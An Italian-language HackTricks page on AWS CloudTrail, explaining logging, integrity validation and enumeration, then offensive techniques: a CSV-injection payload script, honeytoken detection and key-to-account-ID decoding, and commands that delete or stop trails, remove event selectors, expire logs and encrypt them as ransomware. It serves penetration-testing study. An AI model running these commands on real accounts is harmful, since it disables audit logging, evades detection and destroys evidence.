AWS - CloudTrail Enum

Supporta HackTricks

CloudTrail

AWS CloudTrail registra e monitora l'attività all'interno del tuo ambiente AWS. Cattura dettagliati log degli eventi, inclusi chi ha fatto cosa, quando e da dove, per tutte le interazioni con le risorse AWS. Questo fornisce una traccia di audit delle modifiche e delle azioni, aiutando nell'analisi della sicurezza, nell'audit di conformità e nel tracciamento delle modifiche alle risorse. CloudTrail è essenziale per comprendere il comportamento degli utenti e delle risorse, migliorare le posture di sicurezza e garantire la conformità normativa.

Ogni evento registrato contiene:

  • Il nome dell'API chiamata: eventName

  • Il servizio chiamato: eventSource

  • L'ora: eventTime

  • L'indirizzo IP: SourceIPAddress

  • Il metodo dell'agente: userAgent. Esempi:

  • Signing.amazonaws.com - Dalla AWS Management Console

  • console.amazonaws.com - Utente root dell'account

  • lambda.amazonaws.com - AWS Lambda

  • I parametri della richiesta: requestParameters

  • Gli elementi della risposta: responseElements

Gli eventi vengono scritti in un nuovo file di log circa ogni 5 minuti in un file JSON, sono mantenuti da CloudTrail e infine, i file di log sono consegnati a S3 circa 15 minuti dopo. I log di CloudTrail possono essere aggregati tra account e tra regioni. CloudTrail consente di utilizzare l'integrità dei file di log per poter verificare che i tuoi file di log non siano stati modificati da quando CloudTrail te li ha consegnati. Crea un hash SHA-256 dei log all'interno di un file di digest. Un hash sha-256 dei nuovi log viene creato ogni ora. Quando si crea un Trail, i selettori di eventi ti permetteranno di indicare al trail di registrare: eventi di gestione, dati o insights.

I log sono salvati in un bucket S3. Di default viene utilizzata la crittografia lato server (SSE-S3) quindi AWS decritterà il contenuto per le persone che hanno accesso, ma per una sicurezza aggiuntiva puoi utilizzare SSE con KMS e le tue chiavi.

I log sono memorizzati in un bucket S3 con questo formato di nome:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • Essendo il BucketName: aws-cloudtrail-logs-<accountid>-<random>

  • Esempio: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

All'interno di ogni cartella ogni log avrà un nome che segue questo formato: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

Convenzione di denominazione dei file di log

Inoltre, i file di digest (per controllare l'integrità dei file) saranno all'interno dello stesso bucket in:

Aggregare i Log da Più Account

  • Crea un Trial nell'account AWS dove vuoi che i file di log vengano consegnati

  • Applica i permessi al bucket S3 di destinazione consentendo l'accesso cross-account per CloudTrail e consenti a ciascun account AWS che necessita di accesso

  • Crea un nuovo Trail negli altri account AWS e seleziona di utilizzare il bucket creato nel passaggio 1

Tuttavia, anche se puoi salvare tutti i log nello stesso bucket S3, non puoi aggregare i log di CloudTrail da più account in un CloudWatch Logs appartenente a un singolo account AWS.

Ricorda che un account può avere diversi Trails da CloudTrail abilitati che memorizzano gli stessi (o diversi) log in bucket diversi.

Cloudtrail da tutti gli account org in 1

Quando crei un CloudTrail, è possibile indicare di attivare cloudtrail per tutti gli account nell'org e ottenere i log in un solo bucket:

In questo modo puoi configurare facilmente CloudTrail in tutte le regioni di tutti gli account e centralizzare i log in un account (che dovresti proteggere).

Controllo dei File di Log

Puoi verificare che i log non siano stati alterati eseguendo

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail può inviare automaticamente i log a CloudWatch in modo da poter impostare avvisi che ti avvisano quando vengono eseguite attività sospette. Nota che per consentire a CloudTrail di inviare i log a CloudWatch è necessario creare un ruolo che consenta tale azione. Se possibile, è consigliato utilizzare il ruolo predefinito di AWS per eseguire queste azioni. Questo ruolo permetterà a CloudTrail di:

  • CreateLogStream: Questo consente di creare flussi di log di CloudWatch Logs

  • PutLogEvents: Consegnare i log di CloudTrail al flusso di log di CloudWatch Logs

Event History

CloudTrail Event History ti permette di ispezionare in una tabella i log che sono stati registrati:

Insights

CloudTrail Insights analizza automaticamente gli eventi di gestione di scrittura dai trail di CloudTrail e ti avvisa di attività insolite. Ad esempio, se c'è un aumento degli eventi TerminateInstance che differisce dalle basi stabilite, lo vedrai come un evento Insight. Questi eventi rendono più facile trovare e rispondere ad attività API insolite che mai.

Gli insights sono memorizzati nello stesso bucket dei log di CloudTrail in: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Integrità del File di Log di CloudTrail

  • Verificare se i log sono stati manomessi (modificati o eliminati)

  • Utilizza file di digest (crea hash per ogni file)

    • Hashing SHA-256

    • SHA-256 con RSA per la firma digitale

    • chiave privata posseduta da Amazon

  • Ci vuole 1 ora per creare un file di digest (fatto ogni ora)

Fermare l'accesso non autorizzato

  • Utilizzare politiche IAM e politiche del bucket S3

    • team di sicurezza —> accesso admin

    • revisori —> accesso in sola lettura

  • Utilizzare SSE-S3/SSE-KMS per crittografare i log

Prevenire l'eliminazione dei file di log

  • Limitare l'accesso di eliminazione con politiche IAM e del bucket

  • Configurare l'eliminazione MFA di S3

  • Verificare con la Validazione del File di Log

Access Advisor

AWS Access Advisor si basa sugli ultimi 400 giorni di log di AWS CloudTrail per raccogliere i suoi insights. CloudTrail cattura una cronologia delle chiamate API di AWS e degli eventi correlati effettuati in un account AWS. Access Advisor utilizza questi dati per mostrare quando i servizi sono stati acceduti l'ultima volta. Analizzando i log di CloudTrail, Access Advisor può determinare quali servizi AWS un utente IAM o un ruolo ha accesso e quando tale accesso è avvenuto. Questo aiuta gli amministratori AWS a prendere decisioni informate su raffinare i permessi, poiché possono identificare i servizi che non sono stati acceduti per periodi prolungati e potenzialmente ridurre i permessi eccessivamente ampi basati su modelli di utilizzo reale.

Pertanto, Access Advisor informa sui permessi non necessari concessi agli utenti in modo che l'amministratore possa rimuoverli

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

È possibile eseguire un'iniezione CSV all'interno di CloudTrail che eseguirà codice arbitrario se i log vengono esportati in CSV e aperti con Excel. Il seguente codice genererà una voce di log con un nome di Trail errato contenente il payload:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

Per ulteriori informazioni sulle CSV Injections controlla la pagina:

Per ulteriori informazioni su questa tecnica specifica controlla https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Bypass Detection

HoneyTokens bypass

I Honeytokens sono creati per rilevare l'esfiltrazione di informazioni sensibili. Nel caso di AWS, sono chiavi AWS il cui utilizzo è monitorato, se qualcosa innesca un'azione con quella chiave, allora qualcuno deve aver rubato quella chiave.

Tuttavia, Honeytokens come quelli creati da Canarytokens, SpaceCrab, SpaceSiren utilizzano o un nome account riconoscibile o lo stesso ID account AWS per tutti i loro clienti. Pertanto, se riesci a ottenere il nome dell'account e/o l'ID dell'account senza far creare alcun log a Cloudtrail, potresti sapere se la chiave è un honeytoken o no.

Pacu ha alcune regole per rilevare se una chiave appartiene a Canarytokens, SpaceCrab, SpaceSiren:

  • Se canarytokens.org appare nel nome del ruolo o l'ID account 534261010715 appare nel messaggio di errore.

  • Testandoli più recentemente, stanno usando l'account 717712589309 e ha ancora la stringa canarytokens.com nel nome.

  • Se SpaceCrab appare nel nome del ruolo nel messaggio di errore.

  • SpaceSiren utilizza uuids per generare nomi utente: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • Se il nome sembra generato casualmente, ci sono alte probabilità che sia un HoneyToken.

Ottenere l'ID account dall'ID chiave

Puoi ottenere l'ID account dall'encoded all'interno della access key come spiegato qui e controllare l'ID account con la tua lista di account Honeytokens AWS:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Check more information in the orginal research.

Non generare un log

La tecnica più efficace per questo è in realtà una semplice. Basta usare la chiave che hai appena trovato per accedere a qualche servizio all'interno del tuo account di attaccante. Questo farà sì che CloudTrail generi un log all'interno del TUO account AWS e non all'interno di quello della vittima.

La cosa è che l'output ti mostrerà un errore indicando l'ID dell'account e il nome dell'account, quindi sarai in grado di vedere se è un Honeytoken.

Servizi AWS senza log

In passato c'erano alcuni servizi AWS che non inviavano log a CloudTrail (trova una lista qui). Alcuni di questi servizi risponderanno con un errore contenente l'ARN del ruolo della chiave se qualcuno non autorizzato (la chiave honeytoken) tenta di accedervi.

In questo modo, un attaccante può ottenere l'ARN della chiave senza attivare alcun log. Nell'ARN l'attaccante può vedere l'ID dell'account AWS e il nome, è facile conoscere gli ID e i nomi degli account delle aziende di HoneyToken, quindi in questo modo un attaccante può identificare se il token è un HoneyToken.

Nota che tutte le API pubbliche scoperte che non creavano log di CloudTrail sono ora risolte, quindi forse devi trovare le tue...

Per maggiori informazioni consulta la ricerca originale.

Accesso a Infrastrutture Terze

Certi servizi AWS genereranno alcune infrastrutture come Database o cluster Kubernetes (EKS). Un utente che parla direttamente con questi servizi (come l'API di Kubernetes) non utilizzerà l'API AWS, quindi CloudTrail non sarà in grado di vedere questa comunicazione.

Pertanto, un utente con accesso a EKS che ha scoperto l'URL dell'API EKS potrebbe generare un token localmente e parlare direttamente con il servizio API senza essere rilevato da CloudTrail.

Maggiori informazioni in:

AWS - EKS Post Exploitation

Modifica della Configurazione di CloudTrail

Eliminare i trails

aws cloudtrail delete-trail --name [trail-name]

Interrompere i trails

aws cloudtrail stop-logging --name <trail_name>

Elencare i trails

aws cloudtrail describe-trails

Elencare i trails con logging disabilitato

aws cloudtrail describe-trails --query 'trailList[?HomeRegion==`<region>` && !IsMultiRegionTrail && !LogFileValidationEnabled]'

Elencare i trails con logging abilitato

aws cloudtrail describe-trails --query 'trailList[?HomeRegion==`<region>` && IsMultiRegionTrail && LogFileValidationEnabled]'

Elencare i trails con logging abilitato in tutte le regioni

aws cloudtrail describe-trails --query 'trailList[?IsMultiRegionTrail && LogFileValidationEnabled]'

Elencare i trails con logging disabilitato in tutte le regioni

aws cloudtrail describe-trails --query 'trailList[?!IsMultiRegionTrail && !LogFileValidationEnabled]'

Elencare i trails con logging abilitato in una regione specifica

aws cloudtrail describe-trails --query 'trailList[?HomeRegion==`<region>` && IsMultiRegionTrail && LogFileValidationEnabled]'

Elencare i trails con logging disabilitato in una regione specifica

aws cloudtrail describe-trails --query 'trailList[?HomeRegion==`<region>` && !IsMultiRegionTrail && !LogFileValidationEnabled]'

Elencare i trails con logging abilitato in una regione specifica e in tutte le regioni

aws cloudtrail describe-trails --query 'trailList[?HomeRegion==`<region>` && IsMultiRegionTrail && LogFileValidationEnabled] | [0]'

Elencare i trails con logging disabilitato in una regione specifica e in tutte le regioni

aws cloudtrail describe-trails --query 'trailList[?HomeRegion==`<region>` && !IsMultiRegionTrail && !LogFileValidationEnabled] | [0]'
aws cloudtrail stop-logging --name [trail-name]

Disabilita il logging multi-regione

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

Disabilita il Logging tramite Event Selectors

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

Nel primo esempio, un singolo event selector è fornito come un array JSON con un singolo oggetto. Il "ReadWriteType": "ReadOnly" indica che il event selector dovrebbe catturare solo eventi di sola lettura (quindi CloudTrail insights non controllerà gli eventi di scrittura per esempio).

Puoi personalizzare il event selector in base alle tue esigenze specifiche.

Cancellazione dei log tramite politica di ciclo di vita S3

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

Modifica della Configurazione del Bucket

  • Elimina il bucket S3

  • Modifica la policy del bucket per negare qualsiasi scrittura dal servizio CloudTrail

  • Aggiungi una policy di ciclo di vita al bucket S3 per eliminare gli oggetti

  • Disabilita la chiave kms utilizzata per crittografare i log di CloudTrail

Cloudtrail ransomware

S3 ransomware

Potresti generare una chiave asimmetrica e fare in modo che CloudTrail crittografi i dati con quella chiave e cancellare la chiave privata in modo che i contenuti di CloudTrail non possano essere recuperati. Questo è fondamentalmente un S3-KMS ransomware spiegato in:

AWS - S3 Post Exploitation

KMS ransomware

Questo è un modo più semplice per eseguire l'attacco precedente con diversi requisiti di permessi:

AWS - KMS Post Exploitation

Riferimenti

Supporta HackTricks

Last updated